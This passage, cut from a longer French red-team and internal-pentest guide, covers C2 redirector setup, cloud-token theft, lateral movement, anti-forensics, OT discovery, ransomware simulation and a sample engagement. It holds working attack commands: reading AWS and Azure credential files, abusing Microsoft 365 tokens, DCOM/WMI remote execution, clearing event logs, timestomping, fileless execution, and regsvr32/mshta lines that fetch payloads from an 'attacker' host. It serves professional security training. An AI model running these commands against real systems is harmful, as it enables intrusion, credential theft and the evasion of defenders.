Welcome123
Welcome@1
Admin123
Admin@123
Changeme1
P@ssw0rd
Passw0rd1
WORDS

# hashcat -a 0 avec plusieurs wordlists combinées
hashcat -m 5600 hashes.txt \
  company_wordlist.txt \
  company_specific.txt \
  /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule \
  -r /usr/share/hashcat/rules/toggles1.rule

62. Infrastructure C2 : mise en place OPSEC

La mise en place d'une infrastructure de Command & Control (C2) robuste et discrète est la fondation de toute opération Red Team de niveau avancé. En 2026, les proxies de redirection (redirectors), les domaines front (domain fronting), et les profils de communication mimant des services légitimes sont des composants essentiels pour survivre à une analyse réseau par le SOC.

Architecture C2 en couches

Une infrastructure C2 professionnelle utilise plusieurs couches d'abstraction pour protéger le serveur de contrôle réel. La couche 1 est le redirecteur : un VPS tiers (AWS, Azure, DigitalOcean) configuré pour transférer le trafic vers le serveur C2 réel. Si le redirecteur est découvert et bloqué, le serveur C2 reste opérationnel. La couche 2 utilise des domaines avec une historique propre et une bonne réputation DNS pour éviter les blocages par catégorie (Palo Alto, Zscaler). La couche 3 applique des profils de communication mimant des services légitimes (OneDrive, Google Drive, Slack API) pour que le trafic C2 soit indiscernable du trafic applicatif normal sur les proxies d'inspection TLS.

# Configuration redirecteur Apache avec mod_rewrite
# Le redirecteur transfère uniquement les requêtes C2 légitimes vers le C2 réel
# Toutes les autres requêtes sont redirigées vers un site innocent

# /etc/apache2/sites-available/redirector.conf
# RewriteEngine On
# RewriteCond %{HTTP_USER_AGENT} "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
# RewriteCond %{REQUEST_URI} "^/onedrive/sync/"
# RewriteRule ^(.*)$ https://c2.internal.lab$1 [P,L]
# RewriteRule ^(.*)$ https://www.microsoft.com/ [R=302,L]

# Socat redirecteur simple (pour tests)
socat TCP4-LISTEN:443,fork TCP4:c2_server_ip:443

# Nginx redirecteur avec inspection User-Agent
# location /api/v1/ {
#   if ($http_user_agent !~ "SpecificBeaconUA") {
#     return 302 https://www.google.com;
#   }
#   proxy_pass https://c2_server:8443;
# }

63. Abus des services cloud depuis le réseau interne

Les organisations modernes utilisent de nombreux services cloud auxquels les postes du réseau interne ont accès : Microsoft 365, Google Workspace, AWS, Azure, Salesforce. Ces services deviennent des vecteurs d'attaque une fois qu'un poste interne est compromis — leur trafic est rarement inspecté aussi profondément que le trafic vers Internet générique.

# Découverte des services cloud utilisés depuis le réseau interne
# Analyse du trafic DNS pour identifier les services cloud
tcpdump -i eth0 -n 'udp port 53' -w dns_capture.pcap &
sleep 300 && kill %1
tshark -r dns_capture.pcap -Y 'dns.qry.type == 1' -T fields -e dns.qry.name |
  sort | uniq | grep -E "microsoft|google|amazon|salesforce|okta|azure"

# Depuis un poste compromis : lister les tokens stockés
# Windows Credential Manager
cmdkey /list

# Tokens Azure CLI
cat ~/.azure/accessTokens.json 2>/dev/null || dir %USERPROFILE%\.azure\

# AWS CLI credentials
cat ~/.aws/credentials 2>/dev/null || type %USERPROFILE%\.aws\credentials

# Google Cloud
cat ~/.config/gcloud/credentials.db 2>/dev/null

Abus des permissions Microsoft 365

# Avec un token M365 valide (obtenu via PRT ou theft) :
# Accès aux emails (Exchange Online)
Connect-ExchangeOnline -AccessToken $token
Get-Mailbox -ResultSize Unlimited | Select-Object PrimarySmtpAddress
# Chercher les emails sensibles (sujets avec "mot de passe", "credential", "VPN")
Search-UnifiedAuditLog -StartDate "2026-01-01" -EndDate "2026-05-08" -Operations "MailItemsAccessed"

# SharePoint Online : chercher des fichiers avec credentials
Connect-PnPOnline -Url https://company.sharepoint.com -AccessToken $token
Submit-PnPSearchQuery -Query "password OR credential OR secret" -SelectProperties Path,Title

# Teams : accès aux conversations (informations potentiellement sensibles)
# Via Graph API
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/chats" \
  -Headers @{Authorization = "Bearer $token"}

64. Techniques avancées de mouvement latéral : DCOM et WMI profond

Au-delà des techniques de mouvement latéral classiques (PSExec, WMI CreateProcess), des méthodes moins documentées exploitent des interfaces COM spécifiques offrant une détectabilité significativement réduite. Ces techniques avancées, utilisées par des groupes APT pour traverser des segments réseau protégés, constituent le niveau supérieur de la boîte à outils du Red Teamer en 2026.

# DCOM via ShellBrowserWindow (moins détecté que MMC20)
$com = [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","192.168.1.20"))
$item = $com.Document.Application.ShellExecute("cmd.exe","/c whoami > C:\Temp\out.txt","C:\Windows\System32",$null,0)

# DCOM via ShellWindows
$com = [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","192.168.1.20"))
$item = $com.Item()
$item.Document.Application.ShellExecute("powershell.exe","-enc BASE64CMD",$null,$null,0)

# WMI Provider Host abuse (moins commun)
# Exécution via Win32_ScheduledJob (AT jobs legacy, toujours fonctionnel)
$wmi = [wmiclass]"\\192.168.1.20\root\cimv2:Win32_ScheduledJob"
$job = $wmi.Create("cmd.exe /c whoami >> C:\Temp\out.txt", "********10:00:00.000000+060")
# Supprimer la tâche après exécution
([wmi]"\\192.168.1.20\root\cimv2:Win32_ScheduledJob.JobId=$($job.JobId)").Delete()

65. Gestion des sessions et reprise après détection

Un scénario réaliste en Red Team est la détection partielle — le SOC identifie un beacon ou une activité suspecte, isole le poste compromis, et commence une investigation. La gestion de cette situation par le Red Team est une compétence souvent négligée dans les formations. En 2026, les bonnes pratiques incluent la redondance des accès, la capacité de pivot rapide, et la stratégie de "stay low" pour maintenir la mission malgré une détection partielle.

# Stratégie de redondance : maintenir plusieurs points d'accès simultanément
# 1. Beacon principal (domaine fronting HTTPS)
# 2. Beacon de backup (DNS, check-in toutes les 6h)
# 3. Accès SSH clé publique sur un serveur Linux compromis
# 4. WMI subscription de persistance sur une machine secondaire

# En cas de détection du beacon principal :
# - Basculer immédiatement sur le beacon DNS (long jitter, peu de trafic)
# - Eviter toute activité pendant 24-48h (période d'investigation SOC)
# - Reprendre via un nouveau vecteur d'entrée si possible

# Changement d'identité sur le réseau
# Utiliser un compte différent depuis une machine différente
nxc smb NEW_TARGET -u different_user -p different_password

# Nettoyage des traces en cas d'abandon d'un poste compromis
# Suppression des artefacts courants
Remove-Item -Path "C:\Temp\*" -Force
Remove-Item -Path "C:\Windows\Temp\*" -Force
Clear-EventLog -LogName "Windows PowerShell"
Clear-EventLog -LogName "Microsoft-Windows-PowerShell/Operational"
# Note : le nettoyage des logs est lui-même détectable et suspect

66. Protocoles industriels et OT/ICS dans le périmètre interne

Les réseaux d'entreprise modernes incluent de plus en plus des composants OT (Operational Technology) — automates programmables industriels (PLC), systèmes SCADA, IHM (Interfaces Homme-Machine), capteurs IoT industriels. Ces équipements, conçus pour la disponibilité et non pour la sécurité, présentent des vulnérabilités béantes lorsqu'ils sont exposés, même partiellement, au réseau IT. En pentest interne, leur découverte et documentation est attendue sans que leur exploitation soit systématiquement autorisée dans les RoE — un crash d'automate peut avoir des conséquences physiques réelles.

# Découverte des équipements OT/ICS sur le réseau
# Protocoles industriels courants
nmap -p 102,502,4840,44818,47808,2404 192.168.1.0/24 --open

# Port 102 : Siemens S7 (ISO-TSAP)
# Port 502 : Modbus TCP
# Port 4840 : OPC UA
# Port 44818 : EtherNet/IP (Allen-Bradley)
# Port 47808 : BACnet (bâtiments)
# Port 2404 : IEC 60870-5-104 (énergie)

# PLCscan : scan Modbus et S7
plcscan --target 192.168.1.0/24

# Nmap scripts ICS
nmap -p 502 --script modbus-discover 192.168.1.100
nmap -p 102 --script s7-info 192.168.1.100

# IMPORTANT : ne jamais envoyer de commandes d'écriture sur des équipements OT
# La simple lecture peut provoquer des perturbations sur certains équipements
# Toujours obtenir une autorisation explicite et un contact d'urgence opérationnel

67. Techniques d'anti-forensics en contexte offensif

Les techniques d'anti-forensics visent à réduire ou éliminer les traces laissées par les activités offensives sur les systèmes compromis. En contexte Red Team, elles permettent de tester la capacité des équipes forensics et du SOC à identifier et reconstituer une attaque a posteriori. La compréhension de ces techniques est également indispensable pour comprendre pourquoi certains groupes APT restent non détectés pendant des mois ou des années.

# Modification des timestamps (Timestomping)
# Rendre un fichier malveillant "aussi vieux" que les fichiers système légitimes
$file = Get-Item "C:\Temp\payload.exe"
$legitimate_file = Get-Item "C:\Windows\System32\notepad.exe"
$file.CreationTime = $legitimate_file.CreationTime
$file.LastWriteTime = $legitimate_file.LastWriteTime
$file.LastAccessTime = $legitimate_file.LastAccessTime

# Nettoyage des logs PowerShell (détectable car Event ID 104)
$EventLog = [System.Diagnostics.EventLog]::new("Windows PowerShell")
$EventLog.Clear()

# Suppression des événements Sysmon (nécessite droits élevés)
# Non recommandé car très détectable et souvent échoue sur EDR modernes

# Exécution en mémoire uniquement (fileless)
# Pas d'artefact sur disque = pas de trace forensics disque
$code = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String("BASE64_PS_CODE"))
Invoke-Expression $code

# Utiliser AppLocker bypass pour exécution non tracée
# regsvr32 /s /n /u /i:http://attacker/payload.sct scrobj.dll
# mshta http://attacker/payload.hta

68. Tests de résilience : simulation de scénarios ransomware

En 2026, la simulation de scénarios ransomware est devenue une demande croissante de la part des clients qui souhaitent évaluer leur capacité de détection et de réponse à ce type d'attaque. Cette simulation — appelée Ransomware Readiness Assessment — ne chiffre évidemment pas les données réelles, mais reproduit fidèlement les comportements précurseurs des groupes ransomware modernes : reconnaissance interne, mouvement latéral, compromission des sauvegardes, désactivation des defenses, et simulation de chiffrement sur des fichiers de test.

# Simulation comportements pre-ransomware (sans chiffrement réel)
# Phase 1 : Reconnaissance réseau (comportement LockBit/BlackCat)
nxc smb 192.168.1.0/24 -u compromised_user -p password --shares 2>/dev/null | grep -i "read\|write"

# Phase 2 : Identification des sauvegardes (cible prioritaire des ransomwares)
nxc smb dc01.domain.local -u compromised_user -p password \
  -x "vssadmin list shadows" --no-bruteforce

# Phase 3 : Désactivation défenses (simulation - documenter sans exécuter en prod)
# Les groupes ransomware typiquement :
# - Désactivent Windows Defender via GPO ou registre
# - Désactivent les services de sauvegarde (VSS, Windows Backup)
# - Désactivent les agents EDR via driver vulnérable (BYOVD)
# - Exfiltrent les données avant chiffrement (double extorsion)

# Phase 4 : Test de chiffrement sur fichiers dédiés (répertoire de test isolé)
# Créer des fichiers de test représentatifs
$testDir = "C:\Temp\RansomSimTest"
New-Item -ItemType Directory -Path $testDir
1..100 | ForEach-Object { "Simulated sensitive data $_" | Out-File "$testDir\file_$_.txt" }
# Mesurer le temps de chiffrement (pour estimer la fenêtre de réponse)
Measure-Command {
  Get-ChildItem $testDir -Filter "*.txt" | ForEach-Object {
    Rename-Item $_.FullName ($_.FullName + ".encrypted_test")
  }
}

69. Certification et formation Red Team : parcours 2026

Le marché de la formation et certification en sécurité offensive s'est considérablement structuré entre 2022 et 2026. En France, la demande en pentesters internes et Red Teamers qualifiés dépasse largement l'offre, créant un marché favorable aux professionnels certifiés. Voici un parcours de formation recommandé pour atteindre le niveau Red Team senior.

En France, la qualification PASSI de l'ANSSI est le standard professionnel reconnu qui atteste de la compétence des prestataires de pentest. Elle n'est pas une certification individuelle mais une accréditation de la société — chaque membre de l'équipe doit cependant justifier d'un niveau d'expérience et de formation documenté.

70. Mise en pratique : scénario complet de pentest interne type

Cette dernière section synthétise l'ensemble du guide à travers un scénario de pentest interne complet, de la première connexion au réseau à la remise du rapport. Ce scénario type illustre la chaîne d'attaque la plus fréquemment rencontrée dans nos missions de 2024-2026 : une organisation avec AD non durci, ADCS déployé mais non audité, et EDR basique.

Jour 1 : Accès initial et reconnaissance

Le client nous fournit un accès VPN avec un compte de domaine standard (utilisateur normal, aucun droit particulier). Première connexion à 9h00 : le laptop d'attaque est configuré avec le nom d'hôte LAPTOP-FINANCE-07 pour passer inaperçu. Les 30 premières minutes sont consacrées à l'observation passive — analyse du trafic broadcast pour identifier les protocoles actifs (LLMNR/NBT-NS très présents), cartographie des segments réseau accessibles.

A 9h30, lancement de Responder en mode analyse (sans poison) pour écouter les requêtes LLMNR — en 20 minutes, 15 noms de machines et 3 hashes NTLMv2 sont capturés sans aucune action active. Deux hashes appartiennent à des utilisateurs du service IT qui ont tenté d'accéder à des partages inexistants. À 10h00, lancement de BloodHound DCOnly pour collecter la structure AD — la collecte prend 8 minutes et révèle 850 utilisateurs, 120 groupes, et 45 computers. La première requête Cypher "Find Shortest Paths to Domain Admin" identifie 3 chemins distincts, dont un via un compte Kerberoastable membre indirect de Domain Admins.

Jour 1 (suite) : Premier accès élevé

À 11h15, Certipy find révèle deux templates ADCS vulnérables ESC1 — le template "UserCertificate" est accessible à tous les utilisateurs authentifiés et permet de spécifier un Subject Alternative Name arbitraire. Exploitation immédiate : demande d'un certificat pour administrator@domain.local. À 11h23, le certificat est émis sans aucune alerte (Web Enrollment HTTP, pas HTTPS, pas de MDI déployé). Authentification Kerberos via PKINIT avec le certificat : le hash NT de l'administrateur est obtenu. Le compte Administrator est opérationnel — le domaine est compromis 2h23 après la première connexion VPN.

Jours 2-5 : Approfondissement et post-exploitation

Les jours suivants sont consacrés à documenter l'étendue complète de la compromission : DCSync pour obtenir tous les hashes du domaine (22 000 comptes), identification des 3 autres domaines connectés par trusts (dont un domaine de partenaire avec trust bidirectionnel), cartographie des accès cloud (5 tenants Azure avec SSO AD), et tests de persistance (AdminSDHolder backdoor, WMI subscription sur 3 serveurs critiques). Chaque action est horodatée et documentée pour le rapport. Les sauvegardes sont localisées (NAS Synology + Veeam sur une VM) et leur accessibilité démontrée sans extraction réelle.

Jour 7-10 : Rapport et restitution

La rédaction du rapport occupe 4 jours complets. L'Executive Summary de 3 pages résume : compromission totale en <3h depuis un accès utilisateur standard, 5 vecteurs critiques identifiés (ADCS ESC1, NTLM relay, Kerberoasting, délégation non contrainte, trust exploitation), recommandations priorisées sur 3 horizons temporels (immédiat <48h, court terme <1 mois, moyen terme <6 mois). La restitution orale de 2 heures avec la DSSI et les équipes techniques permet de répondre aux questions et de valider les recommandations avec le contexte organisationnel.